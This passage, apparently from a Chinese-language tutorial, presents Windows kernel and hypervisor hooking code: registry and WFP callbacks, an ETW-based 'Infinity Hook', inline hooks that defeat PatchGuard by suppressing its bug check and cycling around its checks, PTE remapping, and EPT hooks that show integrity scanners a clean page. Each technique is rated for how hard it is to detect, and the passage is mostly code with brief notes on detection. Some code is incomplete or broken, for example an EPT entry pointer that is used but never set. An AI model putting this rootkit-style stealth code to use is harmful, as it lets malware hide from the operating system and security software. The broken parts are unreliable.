NTSTATUS RegistryCallback(PVOID CallbackContext, PVOID Argument1, PVOID Argument2) {
    REG_NOTIFY_CLASS notifyClass = (REG_NOTIFY_CLASS)(ULONG_PTR)Argument1;

    switch (notifyClass) {
        case RegNtPreSetValueKey: {
            PREG_SET_VALUE_KEY_INFORMATION info = (PREG_SET_VALUE_KEY_INFORMATION)Argument2;
            // 阻止修改受保护的注册表值
            if (info->ValueName && wcsstr(info->ValueName->Buffer, L"ProtectedValue")) {
                return STATUS_ACCESS_DENIED;
            }
            break;
        }
        case RegNtPreDeleteKey: {
            // 阻止删除受保护的注册表键
            break;
        }
    }
    return STATUS_SUCCESS;
}

// ========== 安装所有回调 ==========

NTSTATUS InstallAllCallbacks() {
    NTSTATUS status;

    status = PsSetCreateProcessNotifyRoutineEx(ProcessNotifyCallback, FALSE);
    if (!NT_SUCCESS(status)) return status;

    status = PsSetCreateThreadNotifyRoutine(ThreadNotifyCallback);
    if (!NT_SUCCESS(status)) return status;

    status = PsSetLoadImageNotifyRoutine(ImageLoadCallback);
    if (!NT_SUCCESS(status)) return status;

    status = RegisterObCallbacks(&g_obHandle);
    if (!NT_SUCCESS(status)) return status;

    LARGE_INTEGER cookie;
    status = CmRegisterCallbackEx(RegistryCallback, &g_altitude, g_driverObject, NULL, &cookie, NULL);

    return status;
}

检测难度:★☆☆☆☆(但合法性最高)

  • 使用完全合法的 API,PatchGuard 不会干扰
  • 但所有回调数组都可被枚举(PspCreateProcessNotifyRoutine 等)
  • 发现未知模块注册的回调 = 可疑
  • 这是安全软件最常用的方式

3.2 Infinity Hook(ETW-based Syscall Hook)

原理

利用 Windows 内核的 ETW(Event Tracing for Windows)日志机制。内核在执行系统调用时可能会调用 syscall ETW provider 发送一条日志回调。通过替换该回调的函数指针,可以在每次 syscall 时获得控制权,而不需要修改 SSDT 或 MSR。

完整实现(含 ETW 函数指针定位)

#include <ntddk.h>

// Infinity Hook 的核心:定位 ETW syscall logger 的函数指针
// 路径:KiSystemCall64 → PerfInfoLogSysCallEntry → [函数指针]
// 这个指针存储在 HalPrivateDispatchTable 或 EtwpDebuggerData 中(版本相关)

typedef void(*fnEtwpCallback)(ULONG SystemCallNumber, PVOID StackPointer);
fnEtwpCallback g_originalEtwCallback = NULL;

// 特征码搜索:在 KiSystemCall64 中寻找 call [PerfInfoLogSysCallEntry]
// PerfInfoLogSysCallEntry 内部会 call 一个存在全局变量中的函数指针
PVOID* FindEtwSyscallLogPointer() {
    // 方法 1:从 KiSystemCall64 搜索 PerfInfoLogSysCallEntry 调用
    ULONG64 kiSystemCall = __readmsr(0xC0000082);
    BYTE* p = (BYTE*)kiSystemCall;

    // 搜索 call PerfInfoLogSysCallEntry 的特征
    // Windows 10 1903+: E8 XX XX XX XX (call rel32)
    for (ULONG i = 0; i < 0x600; i++) {
        if (p[i] == 0xE8) {
            INT32 offset = *(INT32*)(p + i + 1);
            BYTE* target = p + i + 5 + offset;

            // 验证目标是否为 PerfInfoLogSysCallEntry
            // 通过进一步搜索其内部的间接调用来确认
            for (ULONG j = 0; j < 0x50; j++) {
                // 寻找 call qword ptr [rip + offset] (FF 15 XX XX XX XX)
                if (target[j] == 0xFF && target[j+1] == 0x15) {
                    INT32 ripOffset = *(INT32*)(target + j + 2);
                    PVOID* pFuncPtr = (PVOID*)(target + j + 6 + ripOffset);

                    // 验证:该指针应该指向内核空间
                    if (MmIsAddressValid(pFuncPtr) && MmIsAddressValid(*pFuncPtr)) {
                        return pFuncPtr;
                    }
                }

                // 也可能是 mov rax, [地址]; call rax 的模式
                // 48 8B 05 XX XX XX XX (mov rax, [rip+offset])
                if (target[j] == 0x48 && target[j+1] == 0x8B && target[j+2] == 0x05) {
                    INT32 ripOffset = *(INT32*)(target + j + 3);
                    PVOID* pFuncPtr = (PVOID*)(target + j + 7 + ripOffset);

                    if (MmIsAddressValid(pFuncPtr) && MmIsAddressValid(*pFuncPtr)) {
                        // 检查后面几条指令是否有 call rax (FF D0)
                        for (ULONG k = j + 7; k < j + 20; k++) {
                            if (target[k] == 0xFF && target[k+1] == 0xD0) {
                                return pFuncPtr;
                            }
                        }
                    }
                }
            }
        }
    }

    // 方法 2:通过 HalPrivateDispatchTable (旧版 Windows)
    // HalPrivateDispatchTable 中的 HalPerfInfoLogSysCallEntry 字段
    // 偏移因版本而异

    return NULL;
}

// Hook 回调函数
void InfinityHookCallback(ULONG SystemCallNumber, PVOID StackPointer) {
    // 获取当前线程的系统调用信息
    PETHREAD currentThread = PsGetCurrentThread();

    // 根据 SSN 过滤
    switch (SystemCallNumber) {
        case 0x26: // NtOpenProcess (SSN 因版本而异)
        {
            // 可以读取/修改栈上的参数
            // StackPointer 指向 syscall 时的用户态栈
            // 参数通过寄存器传递(R10, RDX, R8, R9)
            break;
        }
        case 0x3A: // NtReadVirtualMemory
        {
            // 拦截读内存操作
            break;
        }
    }

    // 调用原始 ETW 函数(或者直接不调用,提升性能)
    if (g_originalEtwCallback) {
        g_originalEtwCallback(SystemCallNumber, StackPointer);
    }
}

// 安装 Infinity Hook
NTSTATUS InstallInfinityHook() {
    PVOID* pTarget = FindEtwSyscallLogPointer();
    if (!pTarget) return STATUS_NOT_FOUND;

    g_originalEtwCallback = (fnEtwpCallback)*pTarget;

    // 原子替换函数指针
    InterlockedExchangePointer(pTarget, (PVOID)InfinityHookCallback);

    return STATUS_SUCCESS;
}

NTSTATUS RemoveInfinityHook() {
    PVOID* pTarget = FindEtwSyscallLogPointer();
    if (!pTarget || !g_originalEtwCallback) return STATUS_UNSUCCESSFUL;

    InterlockedExchangePointer(pTarget, (PVOID)g_originalEtwCallback);
    g_originalEtwCallback = NULL;

    return STATUS_SUCCESS;
}

检测难度:★★★★☆

  • 不修改 SSDT,不修改 MSR,不修改 IDT
  • 只修改了 ETW 系统内部的一个函数指针
  • PatchGuard 不监控该位置(不是关键结构)
  • 但微软已在新版 Windows 中加固了某些 Infinity Hook 变种
  • 安全软件可以通过检查 ETW 相关全局变量发现异常

优点

  • 绕过 PatchGuard
  • 能拦截所有 syscall
  • 性能开销小(ETW 日志本来就在关键路径上)
  • 不需要复杂的 Hypervisor 支持

3.3 Kernel Inline Hook + PatchGuard 绕过

原理

仍然使用 Inline Hook,但配合 PatchGuard 绕过技术。PatchGuard 的检查有固定的定时和 DPC 机制,可以通过多种方式使其失效或规避。

完整实现

#include <ntddk.h>

// ===== 方案 1: Hook KeBugCheckEx 阻止蓝屏 =====

typedef VOID(*fnKeBugCheckEx)(ULONG, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
fnKeBugCheckEx OriginalKeBugCheckEx = NULL;

VOID HookedKeBugCheckEx(ULONG BugCheckCode, ULONG_PTR P1, ULONG_PTR P2, ULONG_PTR P3, ULONG_PTR P4) {
    if (BugCheckCode == 0x109) { // CRITICAL_STRUCTURE_CORRUPTION
        // PatchGuard 检测到异常,阻止蓝屏
        // 恢复被修改的数据,让 PatchGuard 下次检查时通过
        RestoreAllHooks();

        // 不调用原始 KeBugCheckEx,直接返回
        // 注意:这不一定安全,PG 可能在蓝屏前已经做了不可逆操作
        return;
    }
    OriginalKeBugCheckEx(BugCheckCode, P1, P2, P3, P4);
}

// ===== 方案 2: 定位并取消 PatchGuard DPC 定时器 =====

// PatchGuard 使用加密的 DPC 定时器,特征:
// - DPC routine 地址指向 ntoskrnl 内部
// - 定时器的 DueTime 通常在 5-10 分钟范围
// - DPC 的 DeferredContext 包含加密的校验数据

NTSTATUS DisablePatchGuardTimers() {
    // 遍历系统 DPC 定时器队列
    // 需要逆向 KiTimerTableListHead 结构
    // 这是极其复杂的操作,需要版本特定的偏移

    // 简化版思路:
    // 1. 定位 KiTimerTableListHead (通过签名扫描)
    // 2. 遍历所有 KTIMER 条目
    // 3. 识别 PatchGuard 的定时器(通过 DPC routine 范围、加密特征)
    // 4. KeCancelTimer 取消这些定时器

    return STATUS_NOT_IMPLEMENTED; // 实际实现极其版本相关
}

// ===== 方案 3: 利用 PatchGuard 的时间窗口 =====

// PG 检查间隔约 5-10 分钟(随机化)
// 策略:在检查之前恢复,检查之后再安装
typedef struct _PG_AWARE_HOOK {
    PVOID target;
    PVOID detour;
    BYTE originalBytes[14];
    BOOLEAN isInstalled;
    KTIMER cycleTimer;
    KDPC cycleDpc;
} PG_AWARE_HOOK;

// 周期性安装/卸载 Hook(在 PG 检查时间窗口内)
VOID PgCycleDpcRoutine(PKDPC Dpc, PVOID Context, PVOID Arg1, PVOID Arg2) {
    PG_AWARE_HOOK* hook = (PG_AWARE_HOOK*)Context;

    if (hook->isInstalled) {
        // 卸载 Hook(PG 可能即将检查)
        RestoreInlineHook(hook);
        hook->isInstalled = FALSE;

        // 500ms 后重新安装
        LARGE_INTEGER interval;
        interval.QuadPart = -5000000; // 500ms
        KeSetTimer(&hook->cycleTimer, interval, &hook->cycleDpc);
    } else {
        // 安装 Hook
        InstallInlineHook(hook);
        hook->isInstalled = TRUE;

        // 4 分钟后卸载(在 PG 5 分钟周期之前)
        LARGE_INTEGER interval;
        interval.QuadPart = -2400000000LL; // 240 seconds
        KeSetTimer(&hook->cycleTimer, interval, &hook->cycleDpc);
    }
}

检测难度:★★★☆☆

  • 绕过 PatchGuard 后 Inline Hook 本身仍可通过代码完整性校验对比发现
  • 时间窗口方案有风险:PG 的定时有随机性
  • 是猫鼠游戏中的一个折中方案

3.4 WFP Callout Hook(网络层)

原理

Windows Filtering Platform(WFP)允许驱动注册 Callout 来处理网络数据包。这是微软官方推荐的网络过滤方式,替代了旧的 TDI/NDIS Hook。

完整实现

#include <ntddk.h>
#include <fwpsk.h>
#include <fwpmk.h>

HANDLE g_engineHandle = NULL;
UINT32 g_calloutId = 0;
UINT64 g_filterId = 0;

// WFP Callout GUID(需要唯一)
DEFINE_GUID(WFP_CALLOUT_GUID,
    0x12345678, 0xABCD, 0xEF01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01);

// 数据包分类回调(核心逻辑在这里)
void NTAPI ClassifyCallback(
    const FWPS_INCOMING_VALUES0* inFixedValues,
    const FWPS_INCOMING_METADATA_VALUES0* inMetaValues,
    void* layerData,
    const FWPS_FILTER0* filter,
    UINT64 flowContext,
    FWPS_CLASSIFY_OUT0* classifyOut) {
    // 获取远程 IP 和端口
    UINT32 remoteIp = inFixedValues->incomingValue[
        FWPS_FIELD_OUTBOUND_TRANSPORT_V4_IP_REMOTE_ADDRESS].value.uint32;
    UINT16 remotePort = inFixedValues->incomingValue[
        FWPS_FIELD_OUTBOUND_TRANSPORT_V4_IP_REMOTE_PORT].value.uint16;
    UINT8 protocol = inFixedValues->incomingValue[
        FWPS_FIELD_OUTBOUND_TRANSPORT_V4_IP_PROTOCOL].value.uint8;

    // 获取发起进程
    UINT64 processId = 0;
    if (FWPS_IS_METADATA_FIELD_PRESENT(inMetaValues, FWPS_METADATA_FIELD_PROCESS_ID)) {
        processId = inMetaValues->processId;
    }

    // 过滤逻辑
    if (ShouldBlockConnection(remoteIp, remotePort, processId)) {
        classifyOut->actionType = FWP_ACTION_BLOCK;
        classifyOut->rights &= ~FWPS_RIGHT_ACTION_WRITE;
    } else {
        classifyOut->actionType = FWP_ACTION_PERMIT;
    }
}

// 通知回调
NTSTATUS NTAPI NotifyCallback(FWPS_CALLOUT_NOTIFY_TYPE notifyType,
    const GUID* filterKey, FWPS_FILTER0* filter) {
    return STATUS_SUCCESS;
}

// 注册 WFP Callout + Filter
NTSTATUS InstallWfpHook(PDEVICE_OBJECT deviceObject) {
    NTSTATUS status;
    FWPM_SESSION0 session = {0};
    session.flags = FWPM_SESSION_FLAG_DYNAMIC; // 驱动卸载时自动清理

    // 打开 WFP 引擎
    status = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, &session, &g_engineHandle);
    if (!NT_SUCCESS(status)) return status;

    // 注册 Callout(内核层)
    FWPS_CALLOUT0 sCallout = {0};
    sCallout.calloutKey = WFP_CALLOUT_GUID;
    sCallout.classifyFn = ClassifyCallback;
    sCallout.notifyFn = NotifyCallback;

    status = FwpsCalloutRegister0(deviceObject, &sCallout, &g_calloutId);
    if (!NT_SUCCESS(status)) goto cleanup;

    // 注册 Callout(管理层)
    FWPM_CALLOUT0 mCallout = {0};
    mCallout.calloutKey = WFP_CALLOUT_GUID;
    mCallout.displayData.name = L"My Network Hook";
    mCallout.applicableLayer = FWPM_LAYER_OUTBOUND_TRANSPORT_V4;

    status = FwpmCalloutAdd0(g_engineHandle, &mCallout, NULL, NULL);
    if (!NT_SUCCESS(status)) goto cleanup;

    // 添加 Filter
    FWPM_FILTER0 filter = {0};
    filter.layerKey = FWPM_LAYER_OUTBOUND_TRANSPORT_V4;
    filter.displayData.name = L"My Network Filter";
    filter.action.type = FWP_ACTION_CALLOUT_TERMINATING;
    filter.action.calloutKey = WFP_CALLOUT_GUID;
    filter.weight.type = FWP_UINT8;
    filter.weight.uint8 = 0xF; // 高优先级

    status = FwpmFilterAdd0(g_engineHandle, &filter, NULL, &g_filterId);

cleanup:
    if (!NT_SUCCESS(status)) {
        if (g_engineHandle) FwpmEngineClose0(g_engineHandle);
    }
    return status;
}

检测难度:★☆☆☆☆(但完全合法)

  • 完全合法的 API,所有安全软件都用这个
  • 通过 FwpmFilterEnum/FwpmCalloutEnum 可以枚举所有注册的过滤器
  • 需要签名驱动

3.5 Page Table Hook(PTE 修改)

原理

修改页表(PTE)中的页帧号(PFN),让目标虚拟地址映射到另外准备好的包含 Hook 代码的物理页帧。读取时看到原始代码页,执行时走到我们的页。

完整实现(含动态 PTE Base 定位)

#include <ntddk.h>

// PTE Base 地址(Windows 10 RS1+ 每次启动随机化)
ULONG64 g_pteBase = 0;
ULONG64 g_pdeBase = 0;

// 动态定位 PTE Base(核心难点)
ULONG64 FindPteBase() {
    // 方法 1:通过 MiGetPteAddress 内部引用
    // MiGetPteAddress 是一个内联函数,但某些导出函数内部会使用它
    // 可以从 MmGetVirtualForPhysical 等函数中搜索特征

    // 方法 2:暴力搜索 — 利用自引用页表原理
    // PTE base 的 PTE 条目指向自己的物理页
    // 遍历可能的 PTE base 值,验证自引用

    // 方法 3:通过 nt!MmPteBase 全局变量
    // 在 ntoskrnl 的 .data 段中搜索

    // 实现方法 1:从导出函数签名定位
    UNICODE_STRING funcName;
    RtlInitUnicodeString(&funcName, L"MmGetVirtualForPhysical");
    BYTE* pFunc = (BYTE*)MmGetSystemRoutineAddress(&funcName);

    if (pFunc) {
        // 搜索 mov rax, [MmPteBase] 模式
        // 48 8B 05 XX XX XX XX (mov rax, [rip+offset])
        for (ULONG i = 0; i < 0x100; i++) {
            if (pFunc[i] == 0x48 && pFunc[i+1] == 0x8B && pFunc[i+2] == 0x05) {
                INT32 offset = *(INT32*)(pFunc + i + 3);
                ULONG64* pPteBase = (ULONG64*)(pFunc + i + 7 + offset);
                if (MmIsAddressValid(pPteBase)) {
                    return *pPteBase;
                }
            }
        }
    }

    // 方法 2:暴力方式
    // Windows 10 PTE base 范围:0xFFFF800000000000 - 0xFFFFF00000000000
    // 步进 0x8000000000 (512GB for each PML4 entry)
    for (ULONG64 base = 0xFFFF800000000000ULL; base < 0xFFFFF00000000000ULL; base += 0x8000000000ULL) {
        // 验证:PTE of PTE base 应该是有效的且 Present
        __try {
            ULONG64 pteOfBase = base + ((base >> 9) & 0x7FFFFFFFF8ULL);
            if (MmIsAddressValid((PVOID)pteOfBase)) {
                // 进一步验证自引用
                ULONG64 value = *(ULONG64*)pteOfBase;
                if (value & 1) { // Present bit
                    g_pteBase = base;
                    return base;
                }
            }
        } __except(EXCEPTION_EXECUTE_HANDLER) {
            continue;
        }
    }

    return 0;
}

// 虚拟地址 → PTE 地址
PULONG64 GetPteAddress(PVOID virtualAddress) {
    if (!g_pteBase) g_pteBase = FindPteBase();
    ULONG64 va = (ULONG64)virtualAddress;
    return (PULONG64)(g_pteBase + ((va >> 9) & 0x7FFFFFFFF8ULL));
}

// 虚拟地址 → PDE 地址
PULONG64 GetPdeAddress(PVOID virtualAddress) {
    PULONG64 pte = GetPteAddress(virtualAddress);
    return GetPteAddress(pte);
}

// PTE Hook 实现
typedef struct _PTE_HOOK {
    PVOID targetVa;              // 目标虚拟地址
    PHYSICAL_ADDRESS origPhys;   // 原始物理页
    PHYSICAL_ADDRESS hookPhys;   // Hook 物理页
    ULONG64 origPte;             // 原始 PTE 值
    PVOID hookPage;              // Hook 页内容
} PTE_HOOK;

NTSTATUS InstallPteHook(PTE_HOOK* hook, PVOID targetVa, PVOID hookCode, ULONG hookSize) {
    hook->targetVa = (PVOID)((ULONG_PTR)targetVa & ~0xFFF); // 页对齐

    // 获取原始物理地址
    hook->origPhys = MmGetPhysicalAddress(hook->targetVa);

    // 分配 Hook 页(NonPaged,确保物理连续)
    hook->hookPage = MmAllocateNonCachedMemory(PAGE_SIZE);
    if (!hook->hookPage) return STATUS_INSUFFICIENT_RESOURCES;

    // 复制原始页内容到 Hook 页
    RtlCopyMemory(hook->hookPage, hook->targetVa, PAGE_SIZE);

    // 在 Hook 页的目标偏移写入我们的代码
    ULONG offset = (ULONG)((ULONG_PTR)targetVa & 0xFFF);
    RtlCopyMemory((BYTE*)hook->hookPage + offset, hookCode, hookSize);

    // 获取 Hook 页的物理地址
    hook->hookPhys = MmGetPhysicalAddress(hook->hookPage);

    // 修改 PTE:将 PFN 指向 Hook 页
    PULONG64 pte = GetPteAddress(hook->targetVa);
    hook->origPte = *pte;

    // 构建新 PTE:保留原有属性,只改 PFN
    ULONG64 newPte = hook->origPte;
    newPte &= 0xFFF0000000000FFFULL; // 清除 PFN 位
    newPte |= (hook->hookPhys.QuadPart & 0x000FFFFFFFFFF000ULL); // 设置新 PFN

    // 原子写入 PTE
    _disable();
    InterlockedExchange64((LONG64*)pte, newPte);
    // 刷新 TLB
    __invlpg(hook->targetVa);
    _enable();

    return STATUS_SUCCESS;
}

NTSTATUS RemovePteHook(PTE_HOOK* hook) {
    PULONG64 pte = GetPteAddress(hook->targetVa);

    _disable();
    InterlockedExchange64((LONG64*)pte, hook->origPte);
    __invlpg(hook->targetVa);
    _enable();

    if (hook->hookPage) {
        MmFreeNonCachedMemory(hook->hookPage, PAGE_SIZE);
        hook->hookPage = NULL;
    }
    return STATUS_SUCCESS;
}

检测难度:★★★★☆

  • 不修改任何代码字节(从虚拟地址读取看到的还是原始内容?不一定,取决于实现方式)
  • 单纯 PTE Hook 读和执行走同一个物理页,代码完整性校验会失败
  • 但 PTE 条目的值被修改了,通过遍历页表可以发现 PFN 异常
  • PatchGuard 不直接校验所有 PTE,但某些关键页面的 PTE 在监控范围内
  • Windows 10 RS1+ 的 PTE base 随机化增加了定位难度

第四层:Hypervisor 级 Hook(Ring -1)— 极致隐蔽

这是 Windows 平台上隐蔽性最强的一层。Hypervisor 运行在所有软件的下面(包括 Windows 内核),拥有对物理内存、CPU 状态、I/O 的完全控制权。在这个层面实施的 Hook,操作系统本身看到的所有信息都可以被伪造。

4.1 EPT Hook(扩展页表 Hook)— 读写/执行分离

原理

EPT(Extended Page Table)是 Intel VT-x 提供的第二层地址翻译。Guest 的物理地址(GPA)通过 EPT 映射到实际的主机物理地址(HPA)。EPT 的每个条目都有独立的 Read/Write/Execute 权限位。

核心思想:对同一个 GPA,让读写操作映射到干净原始页,让执行操作映射到包含 Hook 代码的页

EPT 条目结构

typedef union _EPT_PTE {
    ULONG64 Value;
    struct {
        ULONG64 ReadAccess : 1;
        ULONG64 WriteAccess : 1;
        ULONG64 ExecuteAccess : 1;
        ULONG64 MemoryType : 3; // 0=UC, 6=WB
        ULONG64 IgnorePat : 1;
        ULONG64 LargePage : 1; // 2MB/1GB 大页
        ULONG64 Accessed : 1;
        ULONG64 Dirty : 1;
        ULONG64 UserModeExecute : 1; // MBEC
        ULONG64 Reserved1 : 1;
        ULONG64 PhysicalAddress : 40; // 物理页帧号
        ULONG64 Reserved2 : 11;
        ULONG64 SuppressVE : 1; // #VE 抑制
    };
} EPT_PTE, *PEPT_PTE;

typedef union _EPTP {
    ULONG64 Value;
    struct {
        ULONG64 MemoryType : 3; // EPT 页表自身的内存类型
        ULONG64 PageWalkLength : 3; // 页表遍历深度-1 (3=4级)
        ULONG64 DirtyAndAccessEnabled : 1;
        ULONG64 Reserved1 : 5;
        ULONG64 PML4PhysicalAddress : 40;
        ULONG64 Reserved2 : 12;
    };
} EPTP;

完整实现(从 Hypervisor 初始化到 Hook 安装)

#include <ntddk.h>
#include <intrin.h>

// ===== EPT 页表构建 =====

typedef struct _EPT_STATE {
    DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PML4[512];
    DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PDPT[512];
    DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PD[512][512];   // 512 个 PD,每个 512 条目
    // 对于 2MB 大页映射,不需要 PT 层
    // 对于需要精确控制的页,单独分配 PT
    EPTP Eptp;
} EPT_STATE;

// 构建恒等映射 EPT(GPA == HPA,2MB 大页)
NTSTATUS BuildIdentityEpt(EPT_STATE* ept) {
    RtlZeroMemory(ept, sizeof(EPT_STATE));

    // PML4[0] -> PDPT
    ept->PML4[0].ReadAccess = 1;
    ept->PML4[0].WriteAccess = 1;
    ept->PML4[0].ExecuteAccess = 1;
    ept->PML4[0].PhysicalAddress = MmGetPhysicalAddress(ept->PDPT).QuadPart >> 12;

    // PDPT -> PD
    for (int i = 0; i < 512; i++) {
        ept->PDPT[i].ReadAccess = 1;
        ept->PDPT[i].WriteAccess = 1;
        ept->PDPT[i].ExecuteAccess = 1;
        ept->PDPT[i].PhysicalAddress = MmGetPhysicalAddress(&ept->PD[i]).QuadPart >> 12;
    }

    // PD -> 2MB 大页直接映射(覆盖 0 - 512GB 物理内存)
    for (int i = 0; i < 512; i++) {
        for (int j = 0; j < 512; j++) {
            ULONG64 physAddr = ((ULONG64)i * 512 + j) * 0x200000; // 2MB per entry
            ept->PD[i][j].ReadAccess = 1;
            ept->PD[i][j].WriteAccess = 1;
            ept->PD[i][j].ExecuteAccess = 1;
            ept->PD[i][j].LargePage = 1;
            ept->PD[i][j].MemoryType = 6; // WB
            ept->PD[i][j].PhysicalAddress = physAddr >> 12;
        }
    }

    // 配置 EPTP
    ept->Eptp.MemoryType = 6; // WB
    ept->Eptp.PageWalkLength = 3; // 4-level
    ept->Eptp.PML4PhysicalAddress = MmGetPhysicalAddress(ept->PML4).QuadPart >> 12;

    return STATUS_SUCCESS;
}

// ===== 将 2MB 大页拆分为 4KB 页(精确控制单个页的权限)=====

typedef struct _EPT_SPLIT_PAGE {
    DECLSPEC_ALIGN(PAGE_SIZE) EPT_PTE PT[512];  // 512 个 4KB PTE
} EPT_SPLIT_PAGE;

NTSTATUS SplitLargePage(EPT_STATE* ept, ULONG64 targetPhysAddr) {
    // 确定目标在哪个 PD entry
    ULONG pdptIndex = (targetPhysAddr >> 30) & 0x1FF;
    ULONG pdIndex = (targetPhysAddr >> 21) & 0x1FF;

    EPT_PTE* pdEntry = &ept->PD[pdptIndex][pdIndex];
    if (!pdEntry->LargePage) return STATUS_SUCCESS; // 已经拆分过

    // 分配 PT 页
    EPT_SPLIT_PAGE* splitPage = ExAllocatePoolWithTag(NonPagedPool, sizeof(EPT_SPLIT_PAGE), 'tpES');
    if (!splitPage) return STATUS_INSUFFICIENT_RESOURCES;

    // 用 512 个 4KB 条目填充,恒等映射
    ULONG64 basePhys = (pdEntry->PhysicalAddress << 12) & ~0x1FFFFFULL; // 2MB 对齐
    for (int i = 0; i < 512; i++) {
        splitPage->PT[i].ReadAccess = 1;
        splitPage->PT[i].WriteAccess = 1;
        splitPage->PT[i].ExecuteAccess = 1;
        splitPage->PT[i].MemoryType = 6;
        splitPage->PT[i].PhysicalAddress = (basePhys + i * PAGE_SIZE) >> 12;
    }

    // 将 PD entry 从大页改为指向 PT
    pdEntry->Value = 0;
    pdEntry->ReadAccess = 1;
    pdEntry->WriteAccess = 1;
    pdEntry->ExecuteAccess = 1;
    pdEntry->PhysicalAddress = MmGetPhysicalAddress(splitPage->PT).QuadPart >> 12;
    // LargePage = 0(默认,表示指向下一级 PT)

    // 刷新 EPT TLB
    InveptAllContexts();

    return STATUS_SUCCESS;
}

// ===== EPT Hook 安装 =====

typedef struct _EPT_HOOK_ENTRY {
    ULONG64 targetPhysAddr;    // 目标物理地址(页对齐)
    ULONG64 originalHpa;       // 原始 HPA(干净页)
    ULONG64 shadowHpa;         // Shadow HPA(Hook 代码页)
    EPT_PTE* pEptPte;          // 对应的 EPT PTE
    PVOID shadowPage;          // Shadow 页虚拟地址
    ULONG functionOffset;      // 函数在页内的偏移
    LIST_ENTRY listEntry;
} EPT_HOOK_ENTRY;

LIST_ENTRY g_hookList;

NTSTATUS InstallEptHook(EPT_STATE* ept, PVOID targetFunction, PVOID hookFunction) {
    // 获取目标函数的物理地址
    PHYSICAL_ADDRESS targetPhys = MmGetPhysicalAddress(targetFunction);
    ULONG64 targetPhysPage = targetPhys.QuadPart & ~0xFFF;

    // 拆分大页
    SplitLargePage(ept, targetPhysPage);

    // 分配 Shadow Page
    PVOID shadowPage = ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'wdhS');
    if (!shadowPage) return STATUS_INSUFFICIENT_RESOURCES;

    // 复制原始页内容
    PVOID mappedOriginal = MmMapIoSpace(targetPhys, PAGE_SIZE, MmNonCached);
    RtlCopyMemory(shadowPage, mappedOriginal, PAGE_SIZE);
    MmUnmapIoSpace(mappedOriginal, PAGE_SIZE);

    // 在 Shadow Page 中目标偏移处写入跳转
    ULONG offset = targetPhys.LowPart & 0xFFF;
    BYTE* hookPoint = (BYTE*)shadowPage + offset;

    // 写入 14 字节绝对跳转
    hookPoint[0] = 0xFF;
    hookPoint[1] = 0x25;
    *(UINT32*)(hookPoint + 2) = 0;
    *(UINT64*)(hookPoint + 6) = (UINT64)hookFunction;

    // 配置 EPT:初始状态 = Read+Write, 禁止 Execute
    // ... 这里需要根据你的 EPT 结构定位到正确的 PTE

    // 保存 Hook 信息
    EPT_HOOK_ENTRY* entry = ExAllocatePoolWithTag(NonPagedPool, sizeof(EPT_HOOK_ENTRY), 'kooH');
    entry->targetPhysAddr = targetPhysPage;
    entry->originalHpa = targetPhysPage;
    entry->shadowHpa = MmGetPhysicalAddress(shadowPage).QuadPart;
    entry->shadowPage = shadowPage;
    entry->functionOffset = offset;
    InsertTailList(&g_hookList, &entry->listEntry);

    // 设置 EPT PTE:RW=干净页, X=禁止(触发 Execute 时切换到 shadow)
    entry->pEptPte->ReadAccess = 1;
    entry->pEptPte->WriteAccess = 1;
    entry->pEptPte->ExecuteAccess = 0;  // 执行时触发 EPT Violation
    entry->pEptPte->PhysicalAddress = entry->originalHpa >> 12;

    InveptAllContexts();
    return STATUS_SUCCESS;
}

// ===== VM-Exit Handler: EPT Violation 处理 =====

void HandleEptViolation(PVMX_VCPU vcpu) {
    ULONG64 guestPhysAddr = __vmx_vmread(VMCS_GUEST_PHYSICAL_ADDRESS);
    ULONG64 qualification = __vmx_vmread(VMCS_EXIT_QUALIFICATION);

    BOOLEAN isExecute = (qualification >> 2) & 1;
    BOOLEAN isRead = qualification & 1;
    BOOLEAN isWrite = (qualification >> 1) & 1;

    // 查找对应的 Hook
    EPT_HOOK_ENTRY* hook = FindHookByPhysAddr(guestPhysAddr & ~0xFFF);
    if (!hook) {
        // 不是我们的 Hook,注入异常
        InjectException(vcpu, EXCEPTION_GENERAL_PROTECTION);
        return;
    }

    if (isExecute) {
        // CPU 要执行这个页 → 切换到 Shadow Page(含 Hook 跳转)
        hook->pEptPte->ReadAccess = 0;
        hook->pEptPte->WriteAccess = 0;
        hook->pEptPte->ExecuteAccess = 1;
        hook->pEptPte->PhysicalAddress = hook->shadowHpa >> 12;
    } else {
        // CPU 要读/写这个页 → 切换到 Original Page(干净代码)
        hook->pEptPte->ReadAccess = 1;
        hook->pEptPte->WriteAccess = 1;
        hook->pEptPte->ExecuteAccess = 0;
        hook->pEptPte->PhysicalAddress = hook->originalHpa >> 12;
    }

    InveptSingleContext(vcpu->eptp);

    // 设置 Monitor Trap Flag:执行一条指令后恢复初始状态
    ULONG64 procCtls = __vmx_vmread(VMCS_PROC_BASED_CONTROLS);
    __vmx_vmwrite(VMCS_PROC_BASED_CONTROLS, procCtls | VMX_PROC_CTL_MONITOR_TRAP_FLAG);
}

// MTF 处理:单条指令执行完毕后恢复
void HandleMonitorTrapFlag(PVMX_VCPU vcpu) {
    // 恢复所有 Hook 页为初始状态(RW=原始, X=禁止)
    PLIST_ENTRY entry = g_hookList.Flink;
    while (entry != &g_hookList) {
        EPT_HOOK_ENTRY* hook = CONTAINING_RECORD(entry, EPT_HOOK_ENTRY, listEntry);
        hook->pEptPte->ReadAccess = 1;
        hook->pEptPte->WriteAccess = 1;
        hook->pEptPte->ExecuteAccess = 0;
        hook->pEptPte->PhysicalAddress = hook->originalHpa >> 12;
        entry = entry->Flink;
    }

    // 关闭 MTF
    ULONG64 procCtls = __vmx_vmread(VMCS_PROC_BASED_CONTROLS);
    __vmx_vmwrite(VMCS_PROC_BASED_CONTROLS, procCtls & ~VMX_PROC_CTL_MONITOR_TRAP_FLAG);

    InveptSingleContext(vcpu->eptp);
}

检测难度:★★★★★

  • 操作系统读取目标函数时,看到的是完全干净的原始代码
  • PatchGuard 所有完整性校验读取都被 EPT 重定向到干净页
  • CRC 校验、memcmp 对比、内存扫描全部通过
  • 唯一理论检测方式:时序分析(EPT Violation 导致的微小延迟)

4.2 VMFUNC EPTP Switching(零 VM-Exit 的 EPT 切换)

原理

